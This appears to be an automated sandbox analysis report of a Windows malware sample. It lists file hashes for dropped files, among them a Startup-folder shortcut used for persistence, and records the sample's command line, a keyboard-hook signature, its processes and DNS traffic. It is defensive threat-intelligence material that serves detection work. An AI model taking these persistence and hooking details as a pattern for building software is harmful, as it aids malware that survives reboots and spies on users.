C:\Users\Admin\AppData\Local\43e4\8d79.6f350

MD5 557d5ef03cd7fe983967ae30fd651e09
SHA1 01774b6c426526b29900133386351480168d3b92
SHA256 5b0b89faec162bd9751299ef418898e94d6d2708adbf781d5955de041d769810
SHA512 69c1ce2530be1848fcf46e0f93b590429926c4e4c8ec7e5cda6039c5dd710ca504f33bcbf50bcc139de8ad0eb23c33eb7e5cc7d0a0b00b8a7f64fb7275cf4dc4

C:\Users\Admin\AppData\Roaming\ef44\0b63.6f350

MD5 e3601c7fc9b3ea1c8d158655b315c4f4
SHA1 b4762a047e83fdc007db006575850d133eb75d33
SHA256 f947c04096d1527ceeba78890f60663a78f26e9d58f78c3e9258416f7f205980
SHA512 888dcbae0d57d5f76d1c5b5e7dc459141835ff302de0be5aa424503455f2d92431011f6be4be2075721fc01ebb6d7173a070181f0726a567fbe9f6efc4c2c237

C:\Users\Admin\AppData\Local\43e4\fa89.lnk

MD5 a63513a04f3145a86623770392e17f85
SHA1 aedc23609bdfbd6a9b307ef8cdf564a2a0595589
SHA256 bfcb7bdfe5c891890e284c91d2fd3bb0ef46363bd9946d9f52ca4c2be6615731
SHA512 562349ce4c6f9776b17c167775cc9f1f136fd33dd577303d15c4a69bda662efd40d2b41595f80d91ed2ddee4d68cb1b0e2a4b6f4fd076a9642c4a580bc02b407

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3011.lnk

MD5 70651a4a48ed6d78f49a454134b9b191
SHA1 6f3a6b378f3072262cbcf9fc5ca9953805efde3a
SHA256 9dec0129956599927f90c9ec7ddc41f4d3bf3ce7c7ce3c7f74d1dd1b5abc0b23
SHA512 9f357f9044a012931317a274080cd45651c9c4af518a1edf052d47c74765c54f410ede5d5bb0f71b9c5ebec1cd8b21e827f3587193269411f2b3c99cceaf7f31

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-08 04:04

Reported

2024-05-08 04:07

Platform

win10v2004-20240226-en

Max time kernel

138s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe"

Signatures

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\231d93afc1ca094a42dc22bef5ffa89e_JaffaCakes118.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3676 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 142.53.16.96.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 14.173.189.20.in-addr.arpa udp

Files

N/A